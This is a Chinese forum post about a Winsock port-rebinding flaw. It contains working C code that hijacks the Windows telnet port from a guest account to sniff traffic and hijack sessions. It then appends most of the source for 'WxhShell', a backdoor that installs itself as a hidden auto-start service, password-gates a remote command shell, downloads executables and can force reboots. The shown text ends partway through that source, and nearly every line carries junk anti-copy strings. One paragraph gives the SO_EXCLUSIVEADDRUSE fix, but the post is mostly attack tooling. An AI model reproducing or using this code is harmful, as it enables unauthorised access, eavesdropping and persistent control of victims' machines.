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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ( J5E]NV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LC/6'4}_  
8IbHDDS  
  saddr.sin_family = AF_INET; nCJ)=P.d  
}>>BKn   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); | M4_@P  
iq=<LOx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R Mrh@9g  
*JUP~/Nr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~[t%g9  
#D&eov?  
  这意味着什么?意味着可以进行如下的攻击: )mS Aog<  
g&) XaF[!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ma,H<0R  
Ak^g#^c*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0DV .1  
)u`q41!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +g>)Bur  
<x *.M"6?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f9?\Q'v8  
~sx?aiO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z~[c65Nlu  
&82Za%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R#DnV[!\  
Cj#$WZga%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +:+q,0~*]  
jTH,GF  
  #include uzr(gFd  
  #include pqmtN*zV  
  #include ;*Ldnj;B  
  #include    DY/xBwIF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Mj|\LF +  
  int main() >|'u:`A  
  { e3oHe1"hP  
  WORD wVersionRequested; DD{-xCCR  
  DWORD ret; 4}E|CD/pZ  
  WSADATA wsaData; ^}fc]ovV  
  BOOL val; 50q(8F-N  
  SOCKADDR_IN saddr; :c)N"EJlI2  
  SOCKADDR_IN scaddr; [T<nTB# w  
  int err; >Z r f}H  
  SOCKET s; wc`UcGO  
  SOCKET sc; eg!s[1[_  
  int caddsize; Y@B0.5U2  
  HANDLE mt; G<:_O-cPSv  
  DWORD tid;   B|XrjI?  
  wVersionRequested = MAKEWORD( 2, 2 ); 0}H7Xdkp  
  err = WSAStartup( wVersionRequested, &wsaData ); jMr[ UZ  
  if ( err != 0 ) { &m[ZpJ9  
  printf("error!WSAStartup failed!\n"); cuzU*QW"g  
  return -1; X?whyD)vE@  
  } |7ct2o~un  
  saddr.sin_family = AF_INET; 89hV{^  
   DXA<m2&64N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a8nqzuI  
d^h`gu~3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1seWR"  
  saddr.sin_port = htons(23); Bl[4[N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rZ`+g7&^Fh  
  { lgrD~Y (x  
  printf("error!socket failed!\n"); x9\z^GU%H  
  return -1; v *icoj  
  } !r^fX=X>'  
  val = TRUE; o0ky]9 P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kA/4W^]Ws  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +q*WY*gX  
  { 0MpZdJ  
  printf("error!setsockopt failed!\n"); *{y({J  
  return -1; F-R5Ib-F*A  
  } T8^`<gr.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N W]zMU{c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -A]-o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J(>T&G;  
;*(i}'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [/=Z2mt A  
  { fM/~k>wl  
  ret=GetLastError(); Dc@OrQu  
  printf("error!bind failed!\n"); ?kM2/a"{G  
  return -1; !(gMr1}w  
  } &c[ISc>N{  
  listen(s,2); >;Ag7Ex  
  while(1) Z1}@N/>>  
  { s,CN<`/>x  
  caddsize = sizeof(scaddr); =0t<:-?.-  
  //接受连接请求 :_8Nf1B+T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t1`.M$  
  if(sc!=INVALID_SOCKET) u_HCXpP!Q  
  { O,PTY^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +-r ~-bs  
  if(mt==NULL) B@j2^Dr~!  
  { rSa=NpFxLu  
  printf("Thread Creat Failed!\n"); YMn*i<m  
  break; <EKTFHJ!  
  } u']}Z% A9`  
  } DuQW?9^232  
  CloseHandle(mt); 1'B&e)  
  } ZS<`.L6B3  
  closesocket(s); SPT?Tt  
  WSACleanup(); w2H^q3*  
  return 0; _I?oR.ON33  
  }   y[{}124  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;&dMtYb  
  { 8'PK}heBU  
  SOCKET ss = (SOCKET)lpParam; w2SN=X~#  
  SOCKET sc; !o`riQLs>  
  unsigned char buf[4096]; hnimd~E52k  
  SOCKADDR_IN saddr; D"msD"  
  long num; [*J?TNk  
  DWORD val; Q{|_"sfJ  
  DWORD ret; '':MhRb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $[g#P^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !]3kFWs  
  saddr.sin_family = AF_INET; a>Wr2gPko  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p\P)    
  saddr.sin_port = htons(23); /_X`i[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7,s5Gd-  
  { )(9[>_+40  
  printf("error!socket failed!\n"); &+0?Xip{Z  
  return -1; fg7  
  } sXmP<c  
  val = 100; | |L^yI~_d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T/FZn{I  
  { aoQ$"PF9  
  ret = GetLastError(); Y2IMHN tH  
  return -1; JEs@ky?{z  
  } 34QW^{dgE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^xgqs $`7  
  { ,D'm#Fti  
  ret = GetLastError(); "G^TA:O:=  
  return -1; i;atYltEJ2  
  } nu)YN1 *  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cm0$v8  
  { AhkDLm+  
  printf("error!socket connect failed!\n"); b!e0pFS;  
  closesocket(sc); S['cX ~  
  closesocket(ss); *+XiBho  
  return -1; G`;\"9t5h  
  } rog1  
  while(1) `v-O 4Pk  
  { $Dd-2p   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `8r$b/6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dz^b(q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4K\o2p?4  
  num = recv(ss,buf,4096,0); w+r).PS}C  
  if(num>0) za+)2/ `L  
  send(sc,buf,num,0); dVk(R9 8  
  else if(num==0) d"@ /{O^1  
  break; w5^k84vye  
  num = recv(sc,buf,4096,0); 6#AEVRJKU@  
  if(num>0) I:HrBhI)wP  
  send(ss,buf,num,0); >28l9U  
  else if(num==0) hs5>Gx  
  break; mP=[h |a$r  
  } xXc>YTK'  
  closesocket(ss); ][b|^V  
  closesocket(sc); MV??S{^4  
  return 0 ; PU[<sr#,  
  } 7r50y>  
e(N},s:_  
OR*JWW[]  
========================================================== qpMcVJL  
hv?T}E  
下边附上一个代码,,WXhSHELL  '6})L  
YU"/p|!1  
========================================================== fm@Pa} ,  
w@&z0ODJ  
#include "stdafx.h" [u$|/  
kz1#"8Zd!  
#include <stdio.h> /t< &  
#include <string.h> [*Ai@:F  
#include <windows.h> sQj]#/yK:  
#include <winsock2.h> _"Z?O)d*  
#include <winsvc.h> lVQE}gd%m  
#include <urlmon.h> Y<u%J#'[  
!tt 8-Y)i  
#pragma comment (lib, "Ws2_32.lib") }^0'IAXi  
#pragma comment (lib, "urlmon.lib") .d}yQ#5z  
>{q+MWK  
#define MAX_USER   100 // 最大客户端连接数 UWEegFq*  
#define BUF_SOCK   200 // sock buffer "?F[]8F.b  
#define KEY_BUFF   255 // 输入 buffer 2J{vfF  
X'<RqvDc5  
#define REBOOT     0   // 重启 Y.) QNTh  
#define SHUTDOWN   1   // 关机 Gp \-AwE  
B1J,4  
#define DEF_PORT   5000 // 监听端口 fkp(M  
05k'TqT{c  
#define REG_LEN     16   // 注册表键长度 #^r-D[/m  
#define SVC_LEN     80   // NT服务名长度 ]Q ]y*  
gm2|`^Xq$  
// 从dll定义API $u.rO7)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R;pW,]}g,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t6\H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1HKA`]D"p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oJ %Nt&q  
-&`_bf%M  
// wxhshell配置信息 =DfI^$Lr:  
struct WSCFG { f.uuXK  
  int ws_port;         // 监听端口 ] 1pIIX}  
  char ws_passstr[REG_LEN]; // 口令 D.:`]W|  
  int ws_autoins;       // 安装标记, 1=yes 0=no G#e]J;   
  char ws_regname[REG_LEN]; // 注册表键名 S+~;PmN9qL  
  char ws_svcname[REG_LEN]; // 服务名 n]Yz<#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -k7b# +T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }dzVwP=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &hkD"GGe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e-P{)L<s5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gEsD7]o(=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -rI7ihr*  
APF`b  
}; PdVx&BL*  
H @k }  
// default Wxhshell configuration :*,!gf  
struct WSCFG wscfg={DEF_PORT, QxLrpM"O  
    "xuhuanlingzhe", g2TK(S|#  
    1, W|@SXO)DY  
    "Wxhshell", !PGCoI  
    "Wxhshell", T88$sD.2 '  
            "WxhShell Service", \mGb|aF8  
    "Wrsky Windows CmdShell Service", NAE |iyw  
    "Please Input Your Password: ", 8 A]8yX =  
  1, PSu]I?WF  
  "http://www.wrsky.com/wxhshell.exe", nbP}a?XC  
  "Wxhshell.exe" 6wB !dl  
    }; V.u^;gr3  
89D`!`Ah]  
// 消息定义模块 faLfdUimJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \R@}X cqZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *8a[M{-X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,/Gp>Yqx  
char *msg_ws_ext="\n\rExit."; um]*nXIr  
char *msg_ws_end="\n\rQuit."; ]wV\=m?z&  
char *msg_ws_boot="\n\rReboot..."; "~=}&  
char *msg_ws_poff="\n\rShutdown..."; :/=P6b;  
char *msg_ws_down="\n\rSave to "; mD +9/O!  
st"@kHQ3  
char *msg_ws_err="\n\rErr!"; b}7g>  
char *msg_ws_ok="\n\rOK!"; ._x"b5C  
!K*3bY`#  
char ExeFile[MAX_PATH]; iWW!'u$+I`  
int nUser = 0; d:&cq8^  
HANDLE handles[MAX_USER]; N|>MqH,Bt  
int OsIsNt; 0W6= '7  
?cz7s28a  
SERVICE_STATUS       serviceStatus; mL}Wan  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X%*BiI  
/P3Pv"r|8]  
// 函数声明 :X9;KoJl-V  
int Install(void); : LX!T&  
int Uninstall(void); u5qaLHoEP  
int DownloadFile(char *sURL, SOCKET wsh); DP*V|)  
int Boot(int flag); r7U[QTM%  
void HideProc(void); ?j!/ Hc/b4  
int GetOsVer(void); 9Y# vKb{>  
int Wxhshell(SOCKET wsl); CD?b.Cxai  
void TalkWithClient(void *cs); fH ,h\0  
int CmdShell(SOCKET sock); H9VdoxKo  
int StartFromService(void); @&G %cW(  
int StartWxhshell(LPSTR lpCmdLine); PL\4\dXB  
0_>1CW+X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K nn<q=';G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); **9[e[(X  
/WAOpf5  
// 数据结构和表定义 Cq=k3d#}  
SERVICE_TABLE_ENTRY DispatchTable[] = 8.`5"9Vh  
{ 3=L5Y/  
{wscfg.ws_svcname, NTServiceMain}, g ?% ]()E  
{NULL, NULL} 2F1Bz<  
}; /4*>.Nmb,f  
M|z4Dy  
// 自我安装 A:sP%c;  
int Install(void) Y-DHW/Z~  
{ OOus*ooo2  
  char svExeFile[MAX_PATH]; F+Hmp\rM#  
  HKEY key; &eg@Z nPn  
  strcpy(svExeFile,ExeFile); hdH-VR4  
''EFh&F  
// 如果是win9x系统,修改注册表设为自启动 |2X+( F Ed  
if(!OsIsNt) { JHVesX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F,GG>(6c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g31\7\)Ir  
  RegCloseKey(key); l(tMo7iPa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g9gyx/'*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QfU{W@!h  
  RegCloseKey(key); RjR  
  return 0; Wf$P+i*  
    } \9.@T g8`  
  } -v WX L  
} "g;}B"rG  
else { FVH R  
yD&UH_ 1g  
// 如果是NT以上系统,安装为系统服务 tj!~7lo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9d,2d5Y  
if (schSCManager!=0) :+S~N)0j^  
{ a: OuDjFp  
  SC_HANDLE schService = CreateService ^5gB?V,  
  ( I9r> 3?  
  schSCManager, }&*,!ES*  
  wscfg.ws_svcname, :j#Fq d[DF  
  wscfg.ws_svcdisp, _"";SqVB  
  SERVICE_ALL_ACCESS, _Nq7_iT0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q pbzx/2h  
  SERVICE_AUTO_START, 1|\/2  
  SERVICE_ERROR_NORMAL, #v4q:&yKf  
  svExeFile, .3 T#:Hl  
  NULL, m3K .\3  
  NULL, =arrp:  
  NULL, rv97Wm+  
  NULL, Z\M8DZW8Y  
  NULL iYxpIqWw  
  ); zINziAp{  
  if (schService!=0) Wd_KZ}lX  
  { z@em1W0?Z  
  CloseServiceHandle(schService); "*aL(R  
  CloseServiceHandle(schSCManager); 9"~,ha7S$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); onAC;<w  
  strcat(svExeFile,wscfg.ws_svcname); 4 '6HX#J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kFHtZS(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RBzBR)@5   
  RegCloseKey(key); PG/xX H  
  return 0; ~<#!yRy>r  
    } N-Nq*  
  } (>\w8]  
  CloseServiceHandle(schSCManager); &ahZ_9Q  
} :Vf:_;  
} %7~~*_G  
=9JKg4I6  
return 1; Xm2p<Xu8h  
} noa =wy  
tk <R|i  
// 自我卸载 7 a}qnk %  
int Uninstall(void) xui.63/  
{ gf8DhiB  
  HKEY key; Sc zYL?w^  
_*O^|QbM  
if(!OsIsNt) { AG$S;)Yl9c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5h2@n0  
  RegDeleteValue(key,wscfg.ws_regname); "NamP\hj  
  RegCloseKey(key); gOA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t:G67^<3  
  RegDeleteValue(key,wscfg.ws_regname); MZX-<p+  
  RegCloseKey(key); @;we4G5  
  return 0; _cY!\'  
  } gz?]]-H  
} 9_z u*  
} +JMB98+l  
else { 2=TQU33#  
;r_YEPlZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i<*{Z~B  
if (schSCManager!=0) L+&eY?A  
{ c.u$NnDU6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^$7Lmd.qI  
  if (schService!=0) %/o8-N|_[  
  { _^<HlfOK  
  if(DeleteService(schService)!=0) { 32r2<QrX  
  CloseServiceHandle(schService); e.<$G'  
  CloseServiceHandle(schSCManager); h$Z_r($b  
  return 0; gm63dE>  
  } CVh^~!"7j  
  CloseServiceHandle(schService); X/_e#H0  
  } El~x$X*  
  CloseServiceHandle(schSCManager); ?X1vU0 c  
} I&oHVFY+  
} 8Q&hhmOnz  
s!Xj'H7K  
return 1; 06 kjJ4  
} Z^w}: {  
.`OyC'  
// 从指定url下载文件 |-Z9-rl  
int DownloadFile(char *sURL, SOCKET wsh) R$<LEwjSw  
{ =gCv`SFW  
  HRESULT hr; x:`]uOp  
char seps[]= "/"; jJc?/1jv  
char *token; xr uQ=Q  
char *file; T [ `t?,  
char myURL[MAX_PATH]; -0 [^w  
char myFILE[MAX_PATH]; p!MOp-;-  
c]`}DH,TJ  
strcpy(myURL,sURL); :*aBiX"  
  token=strtok(myURL,seps); O Xy>Tlv  
  while(token!=NULL) OAu ?F}O  
  { x[+t  
    file=token; d&: ABI  
  token=strtok(NULL,seps); `p@YV(  
  } VjbRjn5LI  
gdupG  
GetCurrentDirectory(MAX_PATH,myFILE); %(GWR@mfC  
strcat(myFILE, "\\"); z116i?7EnV  
strcat(myFILE, file); KLW#+vZ  
  send(wsh,myFILE,strlen(myFILE),0); Ht UFl  
send(wsh,"...",3,0); }(h_ztw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ozZW7dveU  
  if(hr==S_OK) )~1QOl "~  
return 0; PN ,pEk|  
else e"u=4nk  
return 1; *ip2|2G$  
&ah!g!o3  
} _T6l*D  
6/ir("LK  
// 系统电源模块 9Xb,Swo~  
int Boot(int flag) v\>!J?  
{ kB-%T66\  
  HANDLE hToken; H#IJ&w|  
  TOKEN_PRIVILEGES tkp; i1]*5;q  
(9hCO-r  
  if(OsIsNt) { 8_8r{a<xW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6-U+<[,x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $Hcp.J[O  
    tkp.PrivilegeCount = 1; 0|g|k7c{rF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~|e?@3_G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PtySPDClj  
if(flag==REBOOT) { :<ye:P1s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %$/t`'&o-  
  return 0; 6/`$Y!.ub  
} X{A|{u=  
else { (Zi(6 T\z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \}SA{)  
  return 0; S(kj"t*3  
} C8qA+dri  
  } >e y.7YG  
  else { zPWX%1Qr  
if(flag==REBOOT) { UR|UGldt_T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4fPbwiK j  
  return 0; *-~B{2b<  
} KI~BjP\e  
else { f/t1@d!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 40}qf}8n t  
  return 0; d;` bX+K  
} Q2sX7 cE  
} PjriAlxD  
{2<A\nW  
return 1; Ag1*.t|  
} /fCj;8T3o  
}LLnJl~Z  
// win9x进程隐藏模块 MW|Qop[  
void HideProc(void) qMT7g LB'1  
{ 23XSQHVx  
zlC|Spaf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]Igd<  
  if ( hKernel != NULL ) >vE1,JD)w  
  { Q+(}nz4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~e,k71  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E- ,/@4k  
    FreeLibrary(hKernel); MQc|j'vEY  
  } m1DzU q;  
5 _X|U*+5  
return; '^f,H1oW  
} rblEyCR  
ld58R  
// 获取操作系统版本 Dohq@+] O  
int GetOsVer(void) <eRE;8C-  
{ a f[<[2pma  
  OSVERSIONINFO winfo; :G$f)NMK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nbM[?=WS  
  GetVersionEx(&winfo); p%) 1(R8qM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M&P?/Zi=L  
  return 1; r )8[LN-  
  else JjarMJr| D  
  return 0; uM"G)$I\  
} ud]O'@G<  
vto^[a6?  
// 客户端句柄模块 g.yr) LHt0  
int Wxhshell(SOCKET wsl) S;#S3?G  
{ ,$irJz F  
  SOCKET wsh; J7:VRf|,?(  
  struct sockaddr_in client; }3sj{:z{  
  DWORD myID; 8>" vAEf  
gMe)\5`\Y  
  while(nUser<MAX_USER) : vN'eL|#  
{  qW8sJ=  
  int nSize=sizeof(client); r\J"|{)e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {+~}iF<%  
  if(wsh==INVALID_SOCKET) return 1; 7J@iJW],,  
}Z5f5q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ua^#.K  
if(handles[nUser]==0) 5Vo8z8]t`  
  closesocket(wsh); xa+=9=<AQ  
else e>`+Vk^Jc  
  nUser++; $'D|}=h<Y  
  } wZ7Opm<nt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |F)BKo D  
H_gY)m  
  return 0; Db"jzMW.  
} !#l>+9  
olc7&R  
// 关闭 socket LIfQh  
void CloseIt(SOCKET wsh) .U.Knn  
{ ?.1yNO*s  
closesocket(wsh); y;zp*(}f$h  
nUser--; &h1.9AO  
ExitThread(0); fFu+P<?"  
} TEQs\d  
v@_}R_pX  
// 客户端请求句柄 T,z 7U2O  
void TalkWithClient(void *cs) uE{r09^q\  
{ !S6zC >  
OW}ny  
  SOCKET wsh=(SOCKET)cs; * E$&  
  char pwd[SVC_LEN]; `[) awP  
  char cmd[KEY_BUFF]; 3 !W M'i  
char chr[1]; P)7:G?OTx  
int i,j; [D/q  
(jj=CLe  
  while (nUser < MAX_USER) { vjNP  
'ii5pxeNI  
if(wscfg.ws_passstr) { v|DgRPY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R@ksYC3 F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]70V  
  //ZeroMemory(pwd,KEY_BUFF); %x(||cq  
      i=0; IRWVoCc9/\  
  while(i<SVC_LEN) { !vd(WKq  
IIj :\?r  
  // 设置超时 h = <x%sie  
  fd_set FdRead; FU]jI[  
  struct timeval TimeOut; 6uNWL `v  
  FD_ZERO(&FdRead); eK8y'VY  
  FD_SET(wsh,&FdRead); d v8q&_  
  TimeOut.tv_sec=8; CKB~&>xx  
  TimeOut.tv_usec=0; P*=M?:Jb,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Epo/}y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z89!\Q  
Y)V)g9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sVT:1 kI  
  pwd=chr[0]; ut SW>  
  if(chr[0]==0xd || chr[0]==0xa) { tfz"9PV80  
  pwd=0; ?$v*_*:2h  
  break; 0j\} @  
  } T?lp:~d  
  i++; jWpm"C  
    } 7XM:4whw  
?WEKRl  
  // 如果是非法用户,关闭 socket "`6pF8k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W!Qaa(o?  
} $?Dcp^  
|3]#SqX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zWO!z =  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z;'5A2  
uW 7Yem&  
while(1) { s:/Wz39SY3  
`f)X!S2l  
  ZeroMemory(cmd,KEY_BUFF); A>9I E(C_  
[8 I*lsS  
      // 自动支持客户端 telnet标准   6<t<hP_3O  
  j=0; &s0_^5B0  
  while(j<KEY_BUFF) { xwhS[d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %(}%#-X  
  cmd[j]=chr[0]; )\PPIY>iP  
  if(chr[0]==0xa || chr[0]==0xd) { JHJIjYG>P  
  cmd[j]=0; xofxE4.  
  break; yd=NafPM  
  } -`cNRd0n  
  j++; wn Q% 'Eo  
    } ZCAg)/  
k*u4N  
  // 下载文件 Ewq7oq5:  
  if(strstr(cmd,"http://")) { hd>_K*oH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MwE^.6xl{  
  if(DownloadFile(cmd,wsh)) fG" 4\A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Z1>3=G by  
  else WQ1K8B4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :"Gd;~p.  
  } 2=RQ,@s  
  else { p)c"xaTP#F  
M <K}H8?  
    switch(cmd[0]) { ALi3JU  
  lz:+y/+1  
  // 帮助 (.~,I+Cz'  
  case '?': { u`gY/]y!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N"Cd{3  
    break; 1SG^g*mf  
  } 5?HoCz]l  
  // 安装 )Im3';qt  
  case 'i': { ,|^ lqY  
    if(Install()) QI4a@WB]ok  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2>F `H7W  
    else 4"et4Y7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -~TgA*_5]  
    break; 1#V&'A  
    } rrrn8b6  
  // 卸载 mNQ*YCq.  
  case 'r': { BDcA_= ^R&  
    if(Uninstall()) {SwvUWOf"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Senb_?  
    else W@WKdaJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fctVJ{?  
    break; D8=a+!l-  
    } W~?mr! `  
  // 显示 wxhshell 所在路径 p K hV<MFB  
  case 'p': { x}7`Q:k=  
    char svExeFile[MAX_PATH]; EViDMp"  
    strcpy(svExeFile,"\n\r"); ~+anI  
      strcat(svExeFile,ExeFile); nD!5I@D  
        send(wsh,svExeFile,strlen(svExeFile),0); V~4yS4  
    break; Yg! xlrxA  
    } ;hkzL_' E)  
  // 重启 ^cI 0 d,3=  
  case 'b': { ~Aoo\fN_U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WXX08"  
    if(Boot(REBOOT)) ;oJCV"y6$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X@^"@  
    else { I7HP~v~  
    closesocket(wsh); Na>?1F"KHk  
    ExitThread(0); \Z/# s;c,4  
    } `cpUl*Y=  
    break; [8rl{~9E  
    } ;0Mg\~T~'  
  // 关机 )kt,E}609  
  case 'd': { =Y<RG"]a&J  
